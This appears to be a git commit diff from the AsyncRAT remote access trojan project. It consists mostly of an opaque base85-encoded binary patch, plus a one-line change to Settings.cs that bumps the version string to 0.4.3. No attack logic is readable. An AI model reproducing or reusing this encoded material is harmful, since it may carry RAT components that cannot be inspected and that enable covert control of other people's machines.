zY1^jWkBhaY=v^KQUO`sG;NPpjE9R^5Y74J!p>Jc%J)gkJ}s9U1OMO8)3iP{r&I?Ckj=pEp_!~39jw>LVvXQOypbXJ!o z;muY2(IlcR%kyKXm)$XV=dcyOrOy9@vdSG_sI&in`SfE~jh8MHRq7toR&;Z=dneK{ zaeI(&26A7)TX^T!S{(n9@f=?zRn4>3 zg8!C(DD4_6zy~X?qQcwIb zq;bmENV{5yGr;sc(tb>9eW$RzjA?BVC2w@neG$!3d_ML?y!q21a}Cm?`AtYqmAryf zCVQIJJuA+dj4vfDNLb$Z$|`Z0S{mt(tcwgru86ue8t_fYZ_}_f*+xGm$gncPN!n4| zqm06v;&^qe>?@*IE`o|3pH5vab|@W7=(tl!=i}ST6@1*y`XKfy+dAMVi1(Cl@z_PY zudFc{z$`w@S1yet#sMV^k01^zQ&{n1B^Db1aYX4_Y5>bfd~PBfNZU28S}iw!zOpH7*<(XK)O_^kP1CVOz3^9e=OBwe9efl!w2}U8ZpKnn2gNEn_dzb z&Q5>hHdVhQJkr!_*x2C}BO37!>|NLN{mWvR%~3gG!jRsT-G<$I$H;(xV$+;W!s!T` zICdN|hK#8kIj(WhZt<&CYYlB`d~}bPr8m=*v{#&zhH(`Wn{4~=yOze$V{adEYg704 z@e7;bT2ETNrl}v`R}PwM-MSy|5Hwqo^O3l-xxDxzF-EV~%|GGF(G^W$2gL{0rtgl4 zwuWXU*Owx@sn?gHkD~aez?8;Czl*4*)hEOdqbO=}|0td{HtzdXcx_?5@kjQD;h*9d z(YW}GxViDwUqwvg*T0HS8r^5aSc`Q61n{RZMl@EP5gAS4zllz=@vYM$HO}4}#^R5Q zj=&!unE+t#i}$uBVk@IzY}4g`h$LfNn{otWP~lqq5&dp(75HH|s#IWGw+dO1^W+Up4lX;_?k$dpZq99)qfbx!d>%&DH&hPuKC#l2rfe$Znn6qcR8#M`rz-FxoZA&kdC|7h_z}g zNU($(CJ=O5%?7U58-H+E#2~|AwpgUYZK}D+;i|PZu8Wo_!rJ&zv`iGv#xv1!sEBO5 zK1Rj~d*j3ynQe=Th;rA)N_TBkrtDTu`*q)`8GV+q`U5_O)!{+=2G=8j)Bi?#@{QYJQ|J3 z;I2(KB}0O{HrJFacddo-PK)N@2Y(?&TP}FBpCG?SeGg$7!|X`KOL1UB?FVIrW5|9h?*|QwpwubtquzX zzMoVbQZI43pesx5W(5P6V!{9J+U1mcwa;t8Okoq2Tfl&RxN281TuQmesuVmlt!soC z%}F66*OGZ%xe2U`LM?7xUA61+hl~lTXrc$4^t)iv-IYz!5*JM)xyGSm>ZmSD7^ z3XN}q(F+DF>Du}MZM9R!%TW?fiuwphtVR(3p}nr!O@fz^Yk2da1klmY-(`3GAawN*% RjB;bACRds~DeCjh{~t6ngM0u0 delta 29880 zcmcJ234Bz=(rZ`>*=b3$i=y5D?RN|~3t{;Hu^d2FnLoFxUe(%Ho@WPovUKys7_8|*er#X{%VP0?H(5GM2^?ifiThBKejV_SgC0r-GH7!UK!?(NgmtYqEtFUwaQFiSY0u54j1oL%0O%1Y*y=UjiY23W zUZD5Z;y8|F+0(6CQL|QP2^Qb(Gpl{8VOT8rP9IpeH8F0hp4bm%&z#)q9kf^WB<^lK zqt)%Cu~Hwnur)2tFElztZd>1KlxX9=0b}Y~bt8=d`asdPMCEp&@mYV}AFVnGjkAu0 zS6fZS=1ROMGM1%;zzA<0x_46>s^${R_YCz+9paL!5^1&$Y8H^@8NuulWTp}GpkVe3 zGL>@TzAw1rg4|z-xk@mrf=nHbRLNYytO+s`h*=?+tAflhVh$C|_kv6-F}n-qmqBKs zLfp23n{Tf7se+i}|k*(xQ^xr#{8rg>> zL)pT>@sA>Vt`+4D^#g;$t64G+1=vE5`ee$v8PSv=x&_g)VC(lFdMk*ABHA11wBv3o zW_0afJHrCd;Pd94`MCmV9?0$(mSxFK#eDj$+#l>C_OO z?5s&P22yHHMA{@P7Ool|#0uq4;y|QUkfeMXjmdN*S^4e?2LnaQ@*2v%Z_=L2;;@vR zC)Ny9%$6M%brg^4(vCtVK-*F@3xBII1tW0#A#U-1zzE_000%VwnQQnY8-gn${nhIi z)s$zTiK%7B^qNa$SE%PiWcuQfcu(TmjGe~h>tPl)&=ZFtQ1)S=@)S8$7HYvMi`|-i zj0i_k){S_7(`r7GbRvA1>a=;9Hf23f>U#!@=A-Vkqb_ed?8M-G78z-3njXR4fO*N< zQ1E1fPW7t*?s!}+b0~lg*<-;)Dlz#6ID^{<&@OK^w&I(OB*e+Q&Cvpl6BxK9MQI`o zkmejD1`h>IkV*EYV~3N(P>zc$jvYxReM~OlKEQ19&ZX)@kz5x&TERv1Qp*OBr?g0! zXx|nvf0(PFW3jZCYyq`c&hMAMm)3Py?2;X3fp(PQtP`LC?{Z%)Ke0JozB!|@UDn{QS;r{yRU2m`n zfwsHDdrqTjVt2V2jV?(L8f7&>?z_Y_sodp3?(4+;6^TPC+Z5z3CGOWM_h8`l-Qmjj zLD^K2tyN`z)^l^ll`K|S2CHU9j<4h?m1PgI`elvBejx z<+zxbEtA|hl-@o#93ouVW|Qp0q%o&uwKoX^RMey#SN1tJAS#ueppuxVq891}zS)x$ zO1oh#h0g{od*e-%a$F~Q`v;2l-qUF)_LpNSn_z?yF8$FvxZC>}C4_enQm5n{Oy&$j zV&SsU5aTv^ha*Tcs6(zl8itD)cNv@p%!I(+z4=`hpv7iUTb+yEfvE2;aH}=EZBbl7 zjtXxxy^o?)tVbMh7X!U$-ixk5be(4KE)3lJNrZ9{oeMb%#!QB}M!(clFyZ85FN%d% z!X0TZY^r=Dk_wt$Vt$M1m0+o$Ns^gc{x}I~j%6=_$L=!XT+$0K%w;yVx ziC_pLHOmSi2B0^Y)|$L?hh)VXjL(J2zC{RmfbEMgihW-u1QPb8D1V}@<#(Vc#OS*d zH=(i@4~ViRMPmlrb0*59EJM~ zR{mn()&oDXmjYRz-kd;(g(6EFa@oTA{g<(xvn=rBr%8BpzUtF>q&q(yBfpHTxS#W_ z40JqrD_a$qez2t?!EI<=KQxe!O2?(#{oJS|+<0F>RdZN~!M7RP)sw%0${UaHn0?tGr}zK&`kk&SvNdvpzXw+8uTd#SV*OJR{( zHwHW`^FE9mqxTe!`7*Ve`du*8Csog$>OKiiPNw4M;8LrHIhZH|$Ovy$VEpHK${W~< z$o@&OG-|Xcc-JAxDK`23NwywkY5ypS^=?4fwW6}m(fUd8)b^lY+o?e<1v8d9zE$2qVymlBs@t&4_etQnBZbPhq(O<8Z7BN=%b8^t zh=MC$2kmin8ipfR_6M@eVjmtN0vZ}&$x4%Pk4GndBC>cAiA(c7gf6`i&j|NpDa{no z!(!4Ed~Ou0N#@&S1#TEoL1R?bl}b1X6iGep6MIb>^|JmXp~XQgkviy#Mhr(IIPE?# zLl2OxA!XxHtvnhz<8+f!QQLFxhj{MuDGJTpkl^th#L~oM6d-D&q7+0&&4z4)!Iyv) z@wlDY10R3wP$)5VzL}ID0UToQFvMbIq(kk;XpZEBlzm7Yeuk29 zIWj|x9#Zywfn}qo0&VskqGE*aFl{1zU($w;CyRVvQQ3C{sln*`nuXysD?f@T6yZ0x zb>k-R*wKj4V+ize%&6L_Kul6mHz*M*}IxZephc zy^hUiBLbI?W#px!FWv$aR?wi~5M!co$j0qR8sqGA&$dOeep*_?@R)yJp!0E;LP=Km zts(O^o?{S4E}7i-9rD!LIy#ktGOX?W9+|!~NT~kp>H*9T2rVYxkGSE2MtRR-Ioo6M z{e)ZZeDr`f6g4TAGmQ~FLX3u|2NwpuJ>IsUoZ9~xE0}p%`v{yeBdL*FuQ?wB z(mW@k5vQydc54uaznJ0PMQC@ZoFj!7X153_Y3h05w+rCvq#uJh3oWP}gdS`WKdz^~ErimD3Q>N}c(fl8vGW z?_UTanz2lgBzP>n1Whf!icH_%>&~1U+VAFeLjaN|0j$C8ni4E`9aT2?v4J@7cx3zn zzOHbU4@NWFe#aXxvPax;upANAFx2LSe$mO)((7TsTLM&)y{RAH@`x;Z2~TOjC4q*nMOiadTD z{V+gAG|>&B<8$$$EwGlYZ;k=t1n0HLqUIP6Cv|y?ms;KyTbp5qiRskuwxl`*H}+ft zr&7s}7t^QeFr>nRTLkqLe-_^t=Hn$D1N>;G&h{9{tm7g!Qn za=wGSd=Zrl5Qw8jpS4mGtAtN;QpvM>z2xiM@ZO0Am@oX^A^etwp|b=%5=Sl_w-aq^ zB|0dVXloZz1z0YnNwiQcDhXi*_^vpFIpJX1jzT9)PTW!W0(%I(cf#ZOI|?y2#bnU4 z9`YkEl>&Z;JvlOjElZ^ceOXwGt+|t_gTI_aGfOC|4u}lJRVobAmNCoB+#w!ui4p(K$;eRvCs(DzA1N4tntCKGL;hzE|Ydk$8o`R4dVc2^y9_<$j`kGLg!eX%y;Hn8OAzCwD@t zJ37gBNesbYY{&}V#m)0rVYGFg#{lKoqHHz;t`4Umj&c*7j4Q_%{5&o@2G}0f zTS28UB7J%a3T~>lTa-@;`gIs_-Uy>{Z7n#L!uDbYbPjtG7e)X)ug4#w#S70X$Kpnh zWeyBc26mhZ5||JH97B#dH`XgyBN92u2Gu3D;shv_!+Gi<^b!O;9C}S)kh>AT+l&BhAk6f{^_dN5*u6 z2;EV~UDC6KGQbp(o&1fnM_vnuNZS zF}nrwgF&D-tR$NPW`TNT5UPSuf##*F$RW^!0zC<7ihvy?63&1;f&NS;R0}N_$1b{y zATEMZG}{h|v303>SOyOW&Eu(csbR1JdJFWa{v;ljzYN0!0z|R!8ql?MJMgf~U^bK~DG)Wg?!YnGxmBwIyzPJ^0; zf=ju2I1PJ6J!j6NF?zTFX9P-3AoL4d6sTh{p^I>dF$F7*jv@Fv{LN4bM%SY;1@ISS zVqV+fuWXW;nTm{}Q8UXGvX@i5aU^RY&~q9p5ok*GUFjsdiC3VZ{WDb5R>(5bPvV7^ z5Qev9K(Rwf8o^N3iR%*W@F!k7Bh*=_Ud|_(m33<*v$CE-_O__!U=MR0nvDwu&VvXx zvXN#48!a^33C$=rrjaa)jVGA`<5Q@M7&b|$zSTlSet}-$Dw=|`&<_2wRrHKN7uls^ zJtVMdoaz8osIP}KHjldyWg%L@y==Zf-($Y3h+^SM9WCjBWVCK5{$i?_!(QNt&|i*# zL>Mb)BAq7Z;;of#(n;uE;fnYU>7g8=RW70*IKRV%@li+j#(XDwOAm?J*R-`FuJCKIveTH;@ z_LoRM5Y!p^4VHfmA^KHFZybv|Ow*9wXMPH4Xvot+`c=q#SpLpLnx$I53U#k`)6lU4 zdc+<@)t^Mi@mVKy-7EI$$e@U{bI3m?4E;6pS1j+AiT{nDL(NqFB$Q}0`pTdnbb@qk zmrZ)a{lDgGO4>)Ls>VRI@e4BmqEY0jrskMQnQF|cOEO zpef7ql8`@9jQty82xBCJ79#1Yq8kh3~(rY=LEAkSa(siyl>ZOK$ zH7A%E>=5ZWC1fO)D{<7jS1iZ;=w9)rpuGisM$lh4W&2?)cdocBXpW%A1;4u@Ks!Na z0x1n))Xk9?8uhf0n?o2Zm8qM*g*U4AtwkhM&*DYWHI9c)aQvZ^`S+PA+kZ-3gY8^D z&_5?D6jF7xu1_nP%{a3of5OUhA}=6qG;)xULUl_7y^)UE-kP2ZAz5Gv2 z7ehtfYnEczT}1R*57E3hqW49=W^uzd3zh$1YmsJ4RK7FjHH!nj3*C%#Sjb0`LxGm& z?Fb&mymi3y=ABr6OWupL7C8lAHC@Gfyk0>Ug?wr$fK5mp@RIckUT3lETK1rmE zQOoVqyCA2#^EC@*kD$Zclu75D^N{~jAxTxuA;pVq27{um@UxQU*}7Lui6eR>nW(Rr z=rd77-$*06ff0QvfoO+(qOeVJ!c^>4rA2%}M1< zmmAH z0$x3(-*!tuLL`$_fanfHrXYFi-iVduA)U?38Keyl35Vxw_3f8 z&_t;@p5$u%Z`V(hS~I!~LqFBSa20^+VK@vF9jYF>!6%UFp&Q0%K9PqJP@y66kREZN zpXy+w3N#0!5DEXcTgXGael336E#zSgELEEk9^(0kCL<5yf`~i}BH>{JA`e9qsI5AP zNAlvg-O?tq2gCDqwg2sw9thJ^8QNAJ`3S>1n&P+JG7Ax&{%eSai7r{uPaP(_Bqx5V z6Inq-PSB-X`l%7kQGpiG9C!ze>&LCM%&65K43#gK{&!Tp0!XRq5-yPtd)i+^M^6IT3283 zX?9Bxjj+vOw+0c_yG=uCz1xGb(YD3xjvyLgTh8v(kfL_j5xx`tZkK6t{R@5+=tDD2 zu7AOKO-8}*1YR+W+hv*~rO;bLltFjFJPlFs?}j}ZqNv>i`!qyRy9YiMs7jIXfmnoJ z3FwzyS$ae#RiXTKCS&))Sxt5>Q;+D9Didkh8Aha#Bin%{R~L}P@cSXOP_Mfm#t5_> zXefHZ29XSeTC)e>ErF_JB{p-g?jbysre^$ddS*GIovIMKD8-xNM>N$R46}6)!$}SO zW~f2*lZFmQEzmszziH@1)boh0YUp>*a$PUHGeJF6$-2bFtQXi+6uDgSuGIC0?0SeD z_Jtx%l`8gy){QFmg*!A9o4HNb5AM=XdgdNP-Bl#a?hk_nQU|m@j1)*6(Ecz%lNBT= zk!%30*C37PKsc)*8qq%2*z%q^K;3gwFq{)a5fu2H>QqRSPz!bHf7?`0DikIAI zm}n?QKsS;6Vki_g5_$=!?pDgdCs37~FD-&{ctRk*Tr9a*IaFw})+ieV(=^#_C>sUU znoNmagx5{xYqIIlE;bsLX|jCdOG+%^QIo{EP$D6y@6R=g4 zp-<(~7`P~qx^tQc6Y$KDMs!*BlhQ<(B9LERn;k$jOO;{0;nF17q$0?QT_sh(_ZljR zT_;Uez$K=>I!;p|Mj&;Zrb3D)qls4q4{3;o=}DNQAsVJ>uvr21o+=XdmFrij%=9mCnM`F0@_>qP)| z3Z$AHXwvlk z;gy_jhUIWm7edtNVzwL}6i6MW70_28)!!8`Op}q>FT!#Sk=ZZ75e<>qFGE;YYEzv} zD=9M6|8|+iX;qVPS_K`2sv4+O&{-fgPOIPnRVJp|D=sI@B6S?6H=f)fRh@c@!bqj^k|Y8ifx81 zP$G~zzFQ%-zc5sc?@o9*h?=uq5H_&BUMcK`lpuOuw;N^%q^Qfz9@rq@cK9Ho6!ySY zfwsaUuHk$Sgbku*w!*(-dl>h@aDi%|h5KPd(}U>XX8aV62~-7_ zqx{Ct0R{`x6oj*kUqCArBAR171Ra8Cf$=arBv3U>u&p*8ft4D{WrK`g!+L>gU>o0J zJPO_Lb|F9w%*xZr-@wsfq6@iOO1gXuPHU)F%G2x^oYRo9K+2Yn!@mXe%d4cb{J40; zfmSwJN>6}1oSN~=w3MCzhd@;_Ev4T=lqRF4^jk>MWPj%!z_a^IO=iw7z^g;eG+7tp zY~3knrOA3J#u|j}G~vH3i|_(!Hx*%a-z=YoOF{HB`yMtuCVT>W+{5x2e0o7eQE@)` zM|em>_BciU8P)`4v*ZgPk5D!H+ZV~d!Mz%~yFghbUlOb_s}Zq zL-{J)Ql_HGv88wup|^(Y0xi@~PH_(-V`nrJky5C`v-)zi-V9eMUMn9XPz`j?)0sH) zK2EY4xHGS{VluG2Cxogz8$%kxS_tHqmtjalSQ|~&6J?>SgC-k@GQ32q$tY?T)>D&l ztBYCKqneENqE;3G$D<>oz2u_H1>8jSCi4$JJ=#k zMq}?_FRC&ev`0-&b~1=uEQ)m-qsC%=?s8K!TM|UCm|_(6mVka3nEbIRj$KrRVr7eG z{l?Z;+;2)?n}X;|QzAPikXkQ=MUGQ7Q=i<_I;Dl%oZqCGX6%UCh1@wl+1!ks)X>B6UPM2s2+b~qA_n8BRoZiS%|*fml?zLhQ4(Db+(T^qJeL+5PwnA@_=CJfK- zZN8m-t)U-c`VlgtO>$Hc@JjEovfumry1q?oveo@+nD|>zmxSA$S-e8 zA7#Fi4c26*uwHvMa)Q|Z`Q_g*z1p*Jny>`Zs{^al(CwIB9oTCs!jO(NcVt^t1kbjZ zZ0^KjCz3IK=$Sdgd^gL`&|3+wn(t*T1ge59##hZ<*bog(LDY>cL4^MM!Iiq++@1ZY z3E$6kggnU3PgWbv3X2Kp#UiH&f8pKS1;)Nj@?rox@}!W->ymB@8Nf~oG+Ex1)B({? znyfvpdIOm>P1PI&-|~Shl#l|G~HqVR^GfFo?woG+FjHbFo1zO_R}LJ(%Tc zGFq$$vlg1{w{=Oh>!gukb70R@hRj@$CnRu<9jM*;JG1Dwoq9HnFdYaXr zZqu>lGpzABz%yF+bOfb%*)y!+)VMjD(+IU@bJ=jwD6M6sP|KbOA{VP=GgXAmd=oN{ zt*%x_o6hkTG5c)QG`iBWn03$)UFdn9RcHt=^eAizdrO0KrDrKSuOaex8S@6zX2{{n*Q_ z4ZQ)N9U-q`yHzBUPp>d(u4)?jw3@Zn5M8`_m5tI6x%3)ats!#hb#_ui zIG;_>5c&H)TdyH;n9t5C8WhL*EOC+A4Eei-WeBADyQRr6eb~e&ygOQ=)}s;K$}r*a zr@FM2O<1BLO3UqR%~FBH5PrnIUn=&0+hy`;2lFgbh2+yt)e$pf__pzshs(PNjj|DVD z=gIrnLV>E}2c4@!_p{|18ti-n(W@Gwyg0x%X!R&B4zLeYnaGPzS@?2o|M!G*W9Vlr z1tIMXpTK55XVU~ygZKqo|BCQXT)#QYyi*XM^9e3Jp=3oMdllh(da*$=IJ}KWQ=w>1po@jGwe2jC{7zge_-8$ z=#9`H*;@jsQ9H{ny(wH0QTv${y+x=R{!Vbgx%y)W+W(azoTm!Kt(9}kwUJb7Wxxh*^^ku|FL~S&bXuNFsg|*j^ zQe^xK;XNAM6vM5*vhEt%79%5iL_?=^HtR*!Uqfeg;fRI{R3q!;%a-5RC=I#fzYtB( zG~I?+>+fu`hLQ!Ep`mY;bPo!vH7I)t%@e2w))czncNY7Ohy`rPCp1c+YWODUl;wA} zaFZ(AD9yuqDetLhvE>KLzu8$0&9uz3USj>;S7qtmYW?N<;A8BSQnx=o|Kn!Wpm8pk(i8=DhK_i;lk_WU6U8{<=Uk@ou&0_%?x#n_`-onZysN zh=n$vt&{j48gdns;#&vO7BY?M-EWh4w2I)gp}$Qr@bn-YYBTUwK~!cl@_T}4tWD;9 zRU|Kpudtc;NDa|BfSFGc$PXpXF5JxLX^4)XLiiyK9mftsIDAOP_~AmtN45}!j}Wj5 zhUO2oh4NZW*v-=4X5kw&)L)=aHO(Oc9noZ)lf7mOpSM+QG^yBYw(^^{5vqb$(*{X4 zevgLMFg>&Lei~YiPg^;-B5zk!m!z%W4!&ALCHc{I2XFn6D!YPbZVrC0hR$X6Fgp2P z8ai#*Wp#4r4psBC;Z|!H_iE^ytSvS-e_TVK+qc*v_!FWw7{=5sW(ETKjh%~xt@n!UFFqubdC>u>n<|!I_q`N%Kd+&TA|cBmOot+tg={iDUrd_y-9L)mcjR$GRs-Xd zBx>{_wHcTj+rib5Z`IIKF@s$H;_ZG?P5XDzB-dShw}yVT53t_N!+us}a~y=ITmjXd zH=56NHK4`Ke|K~V%06uVysKLf<=B;H96f@tP4kyr^lYcv%z)-=T=c0E6-_s+526~6 zF6+!d#hfEAmaP+_^ZEV zUXSRO`Ek4yugd6-`S-37K{UYjt7|l$(WsTj8+QSZ^BN(W3?3Yc$N2{W)j+?vBB;3*eKvkE3!N?{BS`<0L%_9vvv zW16%%hA$Da8W@;ZtskTC^BUy3YW>(Is^j>ui)y3el1gD5A0?1q+@cuA^M6;nSdc@q z)f$?e*@cheJ^roAes9r*kLSlUbjrBJHi4&HQe~|@UHC+OHQndn)(*-O$C8ytP09&_|DRKgma_GRTUmc2DEeG}N-i z4)=6^UPE(}_Pb~B6np>)4TZY6tL~ZnWx(e@Rp^MA#dm1J)p79=&+zja`aI*7h-dj4 zyrfTAlF?#(M1Vg_uLWrS&gFXrs(~F*F2GkHvEGXYdZVhdlTx`bnm9G?f27Jk3hZ`# z=CgzJU)zA0p` z=71tRSe;L-_bgQHapZ9LJELh?2kX#32}qN{$U>rxYf+;N)TT*OcSB8zB@+?l*rsx= z>J7%}nlLta^Pl5q#KGdQTNwS1gGJ9jU*Ba4rVIz0k&H7YlD*gK+=%l(%NymtOB_!z z8T10Cqz>Lh<0Od1A<)CA<_*Rz5k_AuAWma_a;7n-i8I&c|9>0U#yPJB_D1oj=l^rd z%Jq}#`lf08I2>(XscS&vXf>2|(9TOOH0Dghl>pcO#w=2jfCR|*(9pbsi_-O# zo7ST4B{47X9RbV|4)c-fpq1!yr)cd>!Cxl$$s!Mg(F$BI7>;WnzH}pey58d(aT=S8 zUtdCl$T7W`v<6|EQA}C}{l%Vzo}9x^9?*sZz5t5g5bm!U#FR1}lZm71JRWbi>okt4 zNuJ?{F2#=LTan29akp5XAJ=p0FmE{YH#F$fDc7-7|7b7Jc)U4m7OD3?*~>L;p>b;s zWz7Eu&`|y=oh(&5JA)a(VYKM}keHk_3+nwoFQmj_aHF#7w>ggdK4GJwc>|YrJ$y>f zAJ*$A>kjdm11K4kl4Mw4CGm ze+IKrC&ZEv>ou|J<=GoZ)kfbDD}kCyDyNx&795jEE;aKTn{r)Qf$Nn9VCHjtXM=3K zu0j(|)3uB|`_D&5YUZo8!ZOM2e^~$jyWPq4#x<<@>Y~*65bcI;DF1v|81#}F{XK`K zqPk!IA2fZ#mKz(2`5!zMyJpJ$--3TbpWN3Pt>%YHuW^9#Up?Bfh@+jYnDY|8rFDIH z|EHV=FaJaLwEo}Nk88WsiIm(b_Iqmi5wZ3y!yPy7Sn+XVeD6(6QI&QTM@KiJqOJm+ zun7*`MMKw{a=y_4R(G*HtMuj^>P)5A*Sd%+Ki3>=24iC<+7>w+kb^sO`Z2)oDk4?AKaKC7A~=nzcn~I2nMN0PHsSx{c47$RJ$*8~b#vmy$T`(lEMEan*SPO9O;YBlH8-D`FtN&gaK{}Qg@ zICsRnP>&cs5u6Xj+TKR+*Wje(a4sSN#^Re+eegAm!OQ{6y)pQ*e}7qtzzx0e8!F!T zHKCvs5(N!|PKD(VhVLm&fLKwE73CCBP7&oWuvlwRN;E}KlX!Kh0Cz<1LR-;JM?pIy z{S4N^3(gor-r47S{hH(;10zC<@nn2S&US=;Ld!|$GZb&2c;Yj>R=Dlj&F5urrUT0fyV zO3(>{`XN4Swyq^hE^H^YWGfRpNuxj^&swtKCHEsBUx#Uw_`}efKGHDZnIEsbAA%?RqCEo)m?jn(oBUlWyGtN@!BF7;veHQ%jYEj;VP zT4$`_t3^9~*cfB3VKB?b$0t?`6IYAY)(cIFWhwG$;8vp%N_+iC_Al>ZgCF)pui$OSMZ@o zcj$=P1zm@n0!A5Lz$iUOvSZ%E@>=$6i=%>mCm$3>926cO6k$JtoZ-?DIF{ecq!ciE zD7Ju6=I>|yOD32$qL+TtPNXh;3S?sZbklxz)HA{4U<=*zOc|^@KJB}ieU$UAX*1j9 zT!)Lw@RF@2O50{;qPLj+K#yKhxuc-n1bx7K7~AwBO%3aBp3fFo#~Y6;$m+t+2x`Iy zX;$FGSneH!pB*3@FQ6a4;M>gm^WQg|M0@`>6UPvOn#m*0CQRFVLUxJ?xl>F?KfI4G zDV-G_pA}I&D>C4$2>V%#0Zq)YZNbxdJ`MUWe*!O_}lrn zT3hm&?mMi5QD+z9~pu=c$9O1b*yM}EdSX-1GLvN z#OmOi<1btM*gkRI%^P8z&L`w5Pv9oeG0|GhhX~b6d6UuJ-|%_O48GJo!#ZDdyp+El z|19!H#Jz-cv85~0nU)zyU$AUM6PJ6p3cAZWpN)^w+ct{sX)h3i<(DmqwzYyI;hcJp zZ{|1AEqjKEufS$bA>GUi@lO3tRHF62nRgvXjFuV+r{7jCF&ctUMnh15JDx4JP)4<) z_yYE&4Zju=zYf2AGu!ozjW{O-JtOGPNH?+HY=`-5*A-FzTTsbPe3M;?;(yre_TwlH zw=ZQ&Tdd%hc~#y@%LO#0&`z|CJxbTIxVzmCx4IYM?nki?vtNckY~@H}*f^vMm>=mE zY#P!{>>2xhUW2!AB~0W}GT0}`936ExHJjq-tXmX6!%+ZZ z3TZ6w$=PD-sH1pH=QjJdcpKk<8Q|bY@vfMIS9q2n=OPo%3~rGV`5@yd&OerPM1%&SK;& z)x{{0w>W8GY3GdMmm@=LD}~1^b+i~C4(94z&H_k|*e4);k$Uh=j|~1yvuB(cd`i+>q~r`G=_}6tSj%hPuX{FYEtZLYSU0P=asus| zf`KBt-a+f=X^u0Z0~3z@8K(({!^$q`a-#=WF9-SO1)oN@6`I8)3M`XK^15&)-QxJm z$)s`3YjjL{0&hLifJ!ch^i@JM(ry{camRhay-P}DTM|5qYpKqOF}R=`hj&7&`4$Ws z?du+Ktz{{!ugk$}aV%*%x!82R#_+UjIv;FU1R2uGqWrK}Ofg&oq;>h-!cuUKOb^Qz zbEJsTi|0j*UQMsYkzR*odigv9sf#(JHaS1ycL*Pnmg^L<;+L?F(m{hcyrcAEGiP{D zsd;WB($Thra9WPCk)Poz2p=r1x0HlW*Cmy73ZJi|IWk{&x<%*k%lwh79!Q^U(L1~V zh82y%@*a2ZaKCg@vLES*Y|H}@q3P0T!_(o_k||+scp`66gsY^&`+459R7(pneekoC ze7rG=e;@g`b*@Ag^%prPrE^+LML<=+D z3*U&{d}P~(fj#AluMpE?IYn>)NO|uK4GlzaX zuF?*DmY^lpWVb_K6q$*%x)=|_@GID*;Lz{%7Pv2?ehcL5q#nl0QeS!_2HPpr(F9vy zY$@7w=*<$<+KBpX^-tl>th1ixMIXJ@^P;X1zOWZm4NNnymcRTikTaGAz={WCc$ciHTqE;!RW8a>l%Z}36lA#eDrQt|R86A%H z)Hlx_jhusq9qv*Q%Z(t}rbbkw{sXvE(QkCmjF^wW#g-y1g_TGTM{Gpeg>M#gr=a@< zJuK*PLC*+!0cnlyvM4hH)iNQiOIpATtXT)C$R)!B=~B2171CefPVh@V;%648NH3dZ zywrRNIkS*sh4oS(!U}Im%W5B7$Xeb%)cyeEg3Ep^A{UbFXOLzI+Dy<^g5GXFhx|^W z+*QyA?Z(Jl2(iD7e4TwQ(tqJMNpqpEJq-CV_A_-qE@Yz_n_N3^G0StkU<#o4n4tJU zXe@i`USG^M7$Od%)dmb4_+lcU^Uv z!ght72>UxME&SH-0pY{K$AwP|UmX5rICtCKx4R#4k9N;CJ5z)rwUXj$xoJhQW*o5C$=l?-j5gp&Cv;V(*`d(G-@|V~o-WD_k;IskIjihz=E0<)8y}@Bexa`os@2qc<^B;nVbI zv3yzhw^>xKOU8fZ3HpnstAM0an~|n!#NlKzNbO)?1o0c2)k$y$-tl6O=5lX#;;jbd5U>v#!hP1-u7cjnh2 z9bWtnQhv%=7yk;oYS8zLYa4fWZQ>j34y9e#gs?!^k}zZVo8f&U03U-Km4fZ@7;PKJ zr_gt$d4jrS6QvxyINp{i(w)ud!c;&yVAJ7SXdg*$G^g!OX|dSul0FpMJwhMYCsG^4 z!1hZ6aNCA`Dor=w&31)-Ch5Y6@rAU{MGA+di$%2kN}4Syd@a3QjGqY{h~F1tZlvi< zsz5PL-iF`5#Z~MEjGqfb4qY5<_?ck|UTSR0!~1cc;kCu4Of&4jtC3B446<^r=XJr0 zW%Oy&h98z`^~PUEbtCBMpdA=72;hZx87~%^@XuU(d>zZWr!BOB+wiX)e%7)R?m$ZM zkA4ztp~1lIXDL)wf^SoDfbkr-8j=H{p*QPp32UqKg+c3ETK4Ld-zy(lcj@1!U+u{C ztXVVU6cVR>|4|+L`X0OGQ4N!7GfmL7Z(0BTk98g78%5$~wa3=8w7RGb_}Ff3ULCt% z>N5JVd+Vmuv6be!TedK~>h{1s_G@jA{cKv@>HX{+uRC%OU!1J-e9oG)x<|jj7Xs?; zK8$DawQ*mu$7|<*#fI0pkFWzKLx(<(^&8f|?)WK|sjGFIVVRbD`;_$=-hWj8vcco} z_p57lhTSbOsC)7!Hcrn9>-ev1l|DP79RGog#{fUPf!lKYuMZ5w5`>S!4|k4+;qWL* z`{2clVNhP%<}y1`d*x4-WH61wPlAuGjr@ywYLl+8$7-Lu!cuDYUSbcKLpowD(MsK> zE9@3tSMnE&)7OsVJU==i6$3vQ<^AD4=!ye!7x=L6(J-uT0q2Xj{q?t7OWilEYxm+F zW!msRm;7DVLC-f>SW4YhClAvr5k{-CVz<>~jnm`*aj{On-bz3G3b4a}!D{d@=Jfxj zZvN66nX{4+a8&ALK*=45LyeO24o7omMYXeHE-u~9N|VW>XEOdAEhU4q;!h<0zwp{K zCIglvlTk-C{T(9>_>HJY*=(u`)*bov)L{Y%50m5$nOQ9RQeWy5kDcUDH#PK)BPp>aGO;#sI!aMnce=++MW zcv2`;VBt<#XR=z2+Lny6+YR;gHEyVWv(Oi|$)vF?7z#<`h-bvW6HX8J*gOPHhtvTVm9m zl`XACd>b4iakHMbR*JfRzR@Vvz8cLVy0ldpUyDXMT4fJs82-w;97es>S=kxAxR2ui zIx2hOSRh3&1xNJouo(vr8U0ZOAK!LX4#z6B?iik@j5K<540Aws8gb0#IxELID6k2j8LZ-8S%Ia?DVlN?rf{Yjiv&+ z)z)e>V05T4Y%xx6LKPbEIK3NmSkkn$4ccp=&R<1IEGcTEz_A)Z{2y(0RBlt7iFH=m zHsdF^WxFg>ke!t~Yxl(RQg*m5Iu2iu_Rwcu8-8=*IBe4XQBdL@ZB;udo=5BO9}2~P cV6=8wJa1iR_3$fte!f+mBaNS9)%nK%1Dqs91ONa4 diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs index 37713f0..d66ba0f 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs @@ -14,6 +14,6 @@ namespace AsyncRAT_Sharp public static string Password { get; set; } public static Aes256 AES{ get; set; } - public static readonly string Version = "AsyncRAT 0.4.2"; + public static readonly string Version = "AsyncRAT 0.4.3"; } } diff --git 